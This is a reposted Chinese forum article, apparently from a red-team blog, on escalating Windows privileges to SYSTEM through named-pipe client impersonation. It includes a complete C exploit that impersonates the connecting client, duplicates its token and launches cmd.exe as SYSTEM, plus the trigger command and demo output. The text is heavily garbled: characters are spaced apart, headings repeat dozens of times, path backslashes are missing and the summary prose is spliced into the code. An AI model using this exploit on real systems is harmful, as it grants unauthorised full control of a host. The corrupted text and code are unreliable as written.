搜索

[7105] 2020-11-30_利用命名管道进行权限提升

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2020-11-30_利用命名管道进行权限提升 利 用 命 名 管 道 进 行 权 限 提 升 E 安 全   2 0 2 0 - 1 1 - 3 0 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 孤 岛 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 1 N o . 1 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 命 名 管 道 是 W i n d o w s   比 较 经 典 的 一 个 概 念 并 且 L i n u x 也 有 ， 但 是 两 者 用 途 并 非 相 同 。 那 么 什 么 是 命 名 管 道 呢 ？ W i n 3 2   S D K 定 义 管 道 为 两 种 ： 定 义 管 道 为 两 种 ： 匿 名 管 道 （ 匿 名 管 道 （ A n o n y m o u s   p i p e s   ） ： ） ： 匿 名 管 道 通 常 在 父 进 程 和 子 进 程 之 间 传 输 数 据 。 它 们 通 常 用 于 重 定 向 子 进 程 与 其 父 进 程 之 间 的 标 准 输 入 和 输 出 ， 且 不 支 持 通 过 网 络 进 行 通 信 。 命 名 管 道 （ 命 名 管 道 （ N a m e d   p i p e s ） ： ） ： 命 名 管 道 可 以 在 不 相 关 的 进 程 之 间 传 输 数 据 ， 前 提 是 管 道 的 权 限 授 予 对 客 户 端 进 程 的 适 当 访 问 权 限 。 着 重 讲 命 名 管 道 命 名 管 道 ： 它 可 以 在 同 一 台 机 器 或 不 同 机 器 间 的 不 同 进 程 间 提 供 通 信 ， 拥 有 一 个 P i p e   S e r v e r 和 一 个 或 者 多 个 P i p e   C l i e n t ， 在 它 们 之 间 进 行 单 向 或 者 双 向 通 信 的 管 道 。 我 们 的 目 的 是 为 了 通 过 命 名 管 道 来 进 行 权 限 的 提 升 ， 这 里 还 需 要 涉 及 到 安 全 描 述 符 （ 安 全 描 述 符 （ S e c u r i t y   D e s c r i p t o r ） ） 的 概 念 。 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
在 W i n d o w s 系 统 中 ， 对 某 进 程 或 者 线 程 的 权 限 信 息 是 使 用 安 全 描 述 符 来 定 义 的 。 它 是 一 个 结 构 体 ， 由   安 全 标 识 符 （ S e c u r i t y   I d e n t i f i e s ） 、 D A C L 、 S A C L 以 及 其 自 身 控 制 位 组 成 ， 其 中 D A C L 和 S A C L 组 成 访 问 控 制 列 表 （ A C L ， A c c e s s   C o n t r o l   L i s t ） 。 主 要 来 看 D A C L ， D A C L 是 安 全 描 述 符 中 最 重 要 的 ， 它 里 面 包 含 零 个 或 多 个 访 问 控 制 项 （ A C E ， A c c e s s   C o n t r o l   E n t r y ） ， 每 个 访 问 控 制 项 的 内 容 描 述 了 允 许 或 拒 绝 特 定 账 户 对 这 个 对 象 执 行 特 定 操 作 。 在 W i n 3 2 实 体 程 序 中 设 置 了 一 个 N U L L   D A C L ， 那 么 意 味 着 任 何 人 都 有 权 限 对 其 进 行 访 问 控 制 。 设 置 安 全 描 述 符 的 A P I 函 数 为   S e t S e c u r i t y D e s c r i p t o r D a c l 关 于 更 多 访 问 控 制 模 型 内 容 ， 请 参 考 ： S e c u r i t y   D e s c r i p t o r s N o . 2 N o . 2 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 命 名 管 道 的 利 用 利 用 命 名 管 道 提 权 的 重 要 原 因 ： 命 名 管 道 允 许 服 务 端 进 程 模 拟 已 连 接 的 客 户 端 进 程 ， A P I 名 称 为 I m p e r s o n a t e N a m e d P i p e C l i e n t ( )   如 果 使 用 非 管 理 员 权 限 去 启 动 命 名 管 道 的 服 务 端 进 程 进 行 监 听 ， 而 以 管 理 员 的 客 户 端 进 行 连 接 ， 不 一 定 能 够 成 功 ， 想 要 进 行 提 权 ， 启 动 服 务 端 的 用 户 还 需 要 某 些 特 权 ， 如 ： S e I m p e r s o n a t e P r i v i l e g e 、 等 等 、 等 等 使 用   w h o a m i   / p r i v   查 看 权 限 而 该 权 限 一 般 是 系 统 使 用 在 本 地 服 务 账 号 或 者 网 络 服 务 账 号 的 ， 所 以 当 我 们 因 为 某 服 务 账 号 启 动 服 务 的 漏 洞 而 获 得 权 限 之 后 ， 就 有 了   L o c a l   S e r v i c e 或 者 N e t w o r k   S e r v i c e 权 限 ， 看 似 权 限 很 低 ， 但 可 以 利 用 他 进 行 权 限 提 升 至 S y s t e m 权 限 从 管 理 员 提 升 至 从 管 理 员 提 升 至 S Y S T E M 权 限 权 限 首 先 ， 先 抛 出 代 码 段 # i n c l u d e   " s t d a f x . h " # d e f i n e   S E R V I C E _ N A M E   " E l e v a t e " # d e f i n e   P I P E _ P A T H   " . p i p e e l e v a t e " i n t   m a i n ( ) {     c h a r   d i r e c t o r y [ _ M A X _ P A T H ] ;     c h a r   s e r v i c e P a t h [ _ M A X _ P A T H ] ;     c h a r   s e r v i c e N a m e [ 1 2 8 ] ;     c h a r   r e c v [ 1 0 2 4 ] ;     D W O R D   b y t e s ;     b o o l   c o n n e c t e d ;     H I N S T A N C E   h i n s t ;     S T A R T U P I N F O A   s i ;     P R O C E S S _ I N F O R M A T I O N   p i ;     H A N D L E   t o k e n ;     H A N D L E   n e w t o k e n ;     H A N D L E   p t o k e n ;     H A N D L E   n a m e d P i p e   =   C r e a t e N a m e d P i p e A ( P I P E _ P A T H ,           P I P E _ A C C E S S _ D U P L E X ,           P I P E _ T Y P E _ M E S S A G E   |   P I P E _ W A I T ,           P I P E _ U N L I M I T E D _ I N S T A N C E S ,  
        P I P E _ U N L I M I T E D _ I N S T A N C E S ,           1 0 2 4 ,           1 0 2 4 ,           0 ,           N U L L         ) ;     i f   ( n a m e d P i p e   = =   I N V A L I D _ H A N D L E _ V A L U E )   {         p r i n t f ( " [ ! ]   C o u l d   n o t   c r e a t e   n a m e d   p i p e n " ) ;         r e t u r n   0 ;     }     e l s e   {         p r i n t f ( " [ * ]   N a m e d   p i p e   c r e a t e d :   % s n " ,   P I P E _ P A T H ) ;     }         s r a n d ( G e t T i c k C o u n t ( ) ) ;         c o n n e c t e d   =   C o n n e c t N a m e d P i p e ( n a m e d P i p e ,   N U L L )   ?   T R U E   :   ( G e t L a s t E r r o r ( )   = =   E R R O R _ P I P E _ C O N N E C T E D ) ;         Z e r o M e m o r y ( & s i ,   s i z e o f ( s i ) ) ;     s i . c b   =   s i z e o f ( s i ) ;     Z e r o M e m o r y ( & p i ,   s i z e o f ( p i ) ) ;     i f   ( c o n n e c t e d )   {         f o r   ( ; ; )   {             p r i n t f ( " [ * ]   W a i t i n g   f o r   p i p e   c o n n e c t i o n . . . n " ) ;             Z e r o M e m o r y ( r e c v ,   s i z e o f ( r e c v ) ) ;             / /   读 取 客 户 端 连 接 信 息             R e a d F i l e ( n a m e d P i p e ,   r e c v ,   s i z e o f ( r e c v ) ,   & b y t e s ,   N U L L ) ;             p r i n t f ( " [ * ]   R e a d   % d   B y t e s :   % s n " ,   b y t e s ,   r e c v ) ;             p r i n t f ( " [ * ]   A t t e m p t i n g   t o   i m p e r s o n a t e   c l i e n t n " ) ;             i f   ( I m p e r s o n a t e N a m e d P i p e C l i e n t ( n a m e d P i p e )   = =   0 )   {                 p r i n t f ( " [ ! ]   E r r o r   i m p e r s o n a t i n g   c l i e n t n " ) ;                 r e t u r n   0 ;             }                         i f   ( ! O p e n T h r e a d T o k e n ( G e t C u r r e n t T h r e a d ( ) ,   T O K E N _ A L L _ A C C E S S ,   F A L S E ,   & t o k e n ) )   {                 p r i n t f ( " [ ! ]   E r r o r   o p e n i n g   t h r e a d   t o k e n n " ) ;             }               i f   ( ! O p e n P r o c e s s T o k e n ( G e t C u r r e n t P r o c e s s ( ) ,   T O K E N _ A L L _ A C C E S S ,   & p t o k e n ) )   {                 p r i n t f ( " [ ! ]   E r r o r   o p e n i n g   p r o c e s s   t o k e n n " ) ;             }             i f   ( ! D u p l i c a t e T o k e n E x ( t o k e n ,   T O K E N _ A L L _ A C C E S S ,   N U L L ,   S e c u r i t y D e l e g a t i o n ,   T o k e n P r i m a r y ,   & n e w t o k e n ) )   {                 p r i n t f ( " [ ! ]   E r r o r   d u p l i c a t i n g   t h r e a d   t o k e n n " ) ;             }                         p r i n t f ( " [ * ]   I m p e r s o n a t e d   S Y S T E M   u s e r   s u c c e s s f u l l y n " ) ;             i f   ( ! C r e a t e P r o c e s s A s U s e r A ( n e w t o k e n ,   N U L L ,   " c m d . e x e " ,   N U L L ,   N U L L ,   T R U E ,   0 ,   N U L L ,   N U L L ,   & s i ,   & p i ) )   {                 p r i n t f ( " [ ! ]   C r e a t e P r o c e s s A s U s e r   f a i l e d   ( % d ) ,   t r y i n g   a n o t h e r   m e t h o d . n " ,   G e t L a s t E r r o r ( ) ) ;                 Z e r o M e m o r y ( & s i ,   s i z e o f ( s i ) ) ;                 s i . c b   =   s i z e o f ( s i ) ;                 Z e r o M e m o r y ( & p i ,   s i z e o f ( p i ) ) ;                                 / /   使 用 C r e a t e P r o c e s s A s U s e r   A P I 提 权 失 败 的 情 况 下 ， 使 用 C r e a t e P r o c e s s W i t h T o k e n W   函 数                 i f   ( ! C r e a t e P r o c e s s W i t h T o k e n W ( n e w t o k e n ,   L O G O N _ N E T C R E D E N T I A L S _ O N L Y ,   N U L L ,   L " c m d . e x e " ,   N U L L ,   N U L L ,   N U L L ,   ( L P S T A R T U P I N F O W ) & s i ,   & p i ) )   {                     p r i n t f ( " [ ! ]   C r e a t e P r o c e s s W i t h T o k e n   f a i l e d   ( % d ) ,   t r y i n g   a n o t h e r   m e t h o d . n " ,   G e t L a s t E r r o r ( ) ) ;                                         Z e r o M e m o r y ( & s i ,   s i z e o f ( s i ) ) ;                     s i . c b   =   s i z e o f ( s i ) ;                     Z e r o M e m o r y ( & p i ,   s i z e o f ( p i ) ) ;                     i f   ( ! C r e a t e P r o c e s s A s U s e r W ( n e w t o k e n , N U L L , L " c m d . e x e " , N U L L , N U L L , T R U E , 0 , N U L L , N U L L , ( L P S T A R T U P I N F O W ) & s i , & p i ) )   {                         p r i n t f ( " [ ! ]   C r e a t e P r o c e s s A s U s e r W   f a i l e d   ( % d ) . n " ,   G e t L a s t E r r o r ( ) ) ;                         r e t u r n   0 ;                     }                     r e t u r n   0 ;                 }
编 程 方 面 主 要 步 骤 为 编 程 方 面 主 要 步 骤 为 ： >   初 始 化 命 名 管 道   >   服 务 端 启 动 监 听   >   客 户 端 传 递 信 息   >   服 务 端 接 受 信 息 >   利 用 客 户 端 提 供 权 限 进 行 提 权 操 作 演 示 操 作 演 示 为 了 方 便 演 示 ， 此 次 使 用 p s e x e c 提 前 进 行 提 权 获 取 s y s t e m 权 限 ， 以 此 作 为 传 递 信 息 的 客 户 端 。 从 上 面 的 演 示 中 可 以 直 观 的 理 解 编 程 顺 序 ， 需 要 s y s t e m 权 限 的 客 户 端 与 管 道 进 行 通 信 ， 之 前 说 为 了 掩 饰 而 提 前 进 行 的 提 权 ， 实 际 上 当 我 们 是 管 理 员 权 限 时 ， 有 很 多 方 式 使 W i n d o w s 利 用 s y s t e m 权 限 对 管 道 发 起 通 信 ， 例 如 ： 创 建 服 务 （ P S E X E C 的 原 理 ） 、 创 建 计 划 任 务 等 等 服 务 端 模 拟 客 户 端 ， 使 用 特 权 为   S e I m p e r s o n a t e P r i v i l e g e   （ 身 份 验 证 后 模 拟 客 户 端 ） 后 续 讲 解 的 管 道 土 豆 提 权 ， 从 服 务 账 号 到 S Y S T E M 权 限 就 是 利 用 这 一 特 性 。 注 ： 仔 细 看 到 G I F 中 演 示 的 一 段 ： 是 因 为 在 编 程 过 程 中 使 用 了 多 种 A P I 创 建 进 程 ， 代 码 中 已 给 出 注 释 。 N o . 3 N o . 3 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 总 结 命 名 管 道 是 红 队 在 横 向 移 动 时 非 常 重 要 的 一 种 手 段 ， 可 以 作 为 信 息 传 递 的 媒 介 ， 同 时 也 可 以 利 用 权 限 的 特 性 ， 进 行 提 权 。             }             p r i n t f ( " [ * ]   A l l   D o n e . .   e n j o y . . .   p r e s s   a n y   k e y   t o   f i n i s h n " ) ;             g e t c h a r ( ) ;             r e t u r n   0 ;         }     }         r e t u r n   0 ; } e c h o   h e l l o   > >   . p i p e e l e v a t e [ ! ]   C r e a t e P r o c e s s A s U s e r   f a i l e d   ( 1 3 1 4 ) ,   t r y i n g   a n o t h e r   m e t h o d .
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理